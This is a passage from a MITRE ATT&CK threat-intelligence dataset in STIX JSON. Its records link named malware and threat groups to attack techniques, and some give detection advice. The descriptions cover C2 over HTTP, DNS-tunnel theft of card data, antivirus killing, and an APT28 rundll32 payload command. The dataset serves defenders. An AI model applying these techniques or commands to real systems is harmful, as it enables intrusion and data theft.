"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8e724de0-431e-4db8-b118-979405ede39a", "created": "2024-03-22T19:48:25.235Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-22T19:51:37.388Z", "description": "[SocGholish](https://attack.mitre.org/software/S1124) has been distributed through compromised websites with malicious content often masquerading as browser updates.(Citation: SocGholish-update)", "relationship_type": "uses", "source_ref": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e744873-e85e-4b7c-b36c-96448e600c43", "type": "relationship", "created": "2021-11-17T17:07:35.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-17T17:07:35.411Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to enumerate network shares.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e7887b3-f622-4860-9bda-3f4ab6231393", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}, {"description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2019-06-28T20:48:52.515Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can download additional files and payloads to compromised hosts.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.708Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) has a package that collects documents from any inserted USB sticks.(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8e809969-d903-4e58-b8a9-7344127da3cd", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Smoke Loader July 2018", "description": "Baker, B., Unterbrink H. (2018, July 03). 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Retrieved February 10, 2021."}], "modified": "2021-02-10T19:41:52.619Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a command to modify a Registry key.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ece1131-5221-498b-9370-30b3b459203e", "type": "relationship", "created": "2021-08-03T15:19:36.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T13:57:21.797Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can check its current working directory and for the presence of a specific file and terminate if specific values are not found.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ed083f5-5fb2-4dbe-bb59-0a77b63e4a18", "type": "relationship", "created": "2021-07-30T15:49:45.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. 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This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. (2016, May 26). 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Retrieved January 26, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bisonal](https://attack.mitre.org/software/S0268) has deleted Registry keys to clean up its prior activity.(Citation: Talos Bisonal Mar 2020) ", "modified": "2022-04-18T17:16:33.797Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ee050ff-df02-42a0-b3bb-fb967565a4ec", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for creation of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ee24ce1-0703-43dc-8b27-807747ca0209", "type": "relationship", "created": "2020-05-06T15:26:38.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PLEAD Malware July 2018", "url": "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "description": "Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech\u2011companies misused in Plead malware campaign. Retrieved May 6, 2020."}, {"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. 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Detecting the use of environmental keying may be difficult depending on the implementation.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ee8bf1b-acbc-4138-a7dc-667b251fd826", "type": "relationship", "created": "2019-01-31T00:23:06.364Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", "source_name": "Unit 42 Nokki Oct 2018"}], "modified": "2020-03-17T01:19:37.052Z", "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.(Citation: Unit 42 Nokki Oct 2018)", "relationship_type": "uses", "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8eed7d01-46dc-4b25-a42d-bd9afcb84963", "type": "relationship", "created": "2019-04-19T15:30:36.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. 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Monitor specifically for events related to activation of instances that are occurring outside of normal activity/planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. 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(2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}, {"source_name": "PTSecurity Higaisa 2020", "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.733Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used JavaScript to execute additional files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8efafb84-44c7-405d-96b6-55d12f397d01", "type": "relationship", "created": "2021-01-20T18:10:33.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro KillDisk 2", "url": "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html", "description": "Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. 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Retrieved September 8, 2020."}], "modified": "2020-10-19T18:43:06.333Z", "description": "[FrameworkPOS](https://attack.mitre.org/software/S0503) can use DNS tunneling for exfiltration of credit card data.(Citation: SentinelOne FrameworkPOS September 2019)", "relationship_type": "uses", "source_ref": "malware--1cdbbcab-903a-414d-8eb0-439a97343737", "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f09085f-c1cf-4321-89c4-17d93e774f6f", "type": "relationship", "created": "2019-07-19T14:30:22.451Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/dn221960.aspx", "description": "Microsoft. (2013, May 8). Increase scheduling priority. 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(Citation: TechNet Scheduling Priority)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f0afd2b-8cb3-4b5b-b19f-39887602fe95", "type": "relationship", "created": "2020-05-18T20:04:59.458Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T20:04:59.458Z", "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to upload and download files.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8f0ca79a-3768-46a2-b2c1-8aa638c6a8d2", "created": "2023-09-12T19:12:06.317Z", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. 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(2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T13:42:02.053Z", "description": "Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined emails. In Exchange environments, monitor for PowerShell cmdlets that may create or alter transport rules, such as `New-TransportRule` and `Set-TransportRule`.(Citation: Microsoft Manage Mail Flow Rules 2023)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f0e7661-fa5d-47c4-84b0-44cd31b49764", "type": "relationship", "created": "2020-05-05T18:47:47.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Imminent Unit42 Dec2019", "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020."}], "modified": "2020-05-05T18:47:47.351Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has the capability to run a cryptocurrency miner on the victim machine.(Citation: Imminent Unit42 Dec2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f104e2e-4816-4551-b4a6-9f0ed1e01218", "type": "relationship", "created": "2019-01-29T19:36:02.755Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "source_name": "ESET Carbon Mar 2017"}], "modified": "2020-03-16T17:53:58.004Z", "description": "[Carbon](https://attack.mitre.org/software/S0335) uses HTTP to send data to the C2 server.(Citation: ESET Carbon Mar 2017)", "relationship_type": "uses", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f16cec3-2fba-4b69-a5c5-c3eb1f185e90", "type": "relationship", "created": "2019-07-29T14:58:44.928Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/", "source_name": "CarbonBlack RobbinHood May 2019"}], "modified": "2019-07-29T15:46:15.078Z", "description": "[RobbinHood](https://attack.mitre.org/software/S0400) will search for Windows services that are associated with antivirus software on the system and kill the process.(Citation: CarbonBlack RobbinHood May 2019) ", "relationship_type": "uses", "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8f18a511-65e3-4019-b617-ef0134597722", "created": "2024-04-17T18:25:39.899Z", "revoked": false, "external_references": [{"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T18:25:39.899Z", "description": "[Malteiro](https://attack.mitre.org/groups/G1026) collects the installed antivirus on the victim machine.(Citation: SCILabs Malteiro 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8f1bdb28-7941-4b76-bcf3-2fe73321f0c5", "created": "2023-03-17T14:54:26.554Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T15:50:39.946Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) queried compromised victim's active directory servers to obtain the list of employees including administrator accounts.(Citation: ESET Lazarus Jun 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58", "type": "relationship", "created": "2017-05-31T21:33:27.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. 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Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}, {"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-27T13:30:22.327Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as <code>rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d</code>. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.(Citation: Crowdstrike DNC June 2016)(Citation: Bitdefender APT28 Dec 2015)(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: ESET Zebrocy May 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8f27fb1d-f888-4167-a08c-781dde29755d", "created": "2022-04-15T14:54:42.003Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. 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(2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuietSieve](https://attack.mitre.org/software/S0686) can search files on the target host by extension, including doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z.(Citation: Microsoft Actinium February 2022) ", "modified": "2022-04-15T12:35:27.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--03eb4a05-6a02-43f6-afb7-3c7835501828", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8f40c44c-80c5-4f9d-a467-6b71f646cdf7", "created": "2022-04-13T13:17:13.025Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can collect data and files from a compromised host.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-13T13:17:13.025Z", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f41386c-5760-409e-b8b4-513f3d791d9f", "type": "relationship", "created": "2019-01-29T18:23:46.189Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Nokki Oct 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}], "modified": "2020-03-16T16:43:12.123Z", "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can download and execute additional 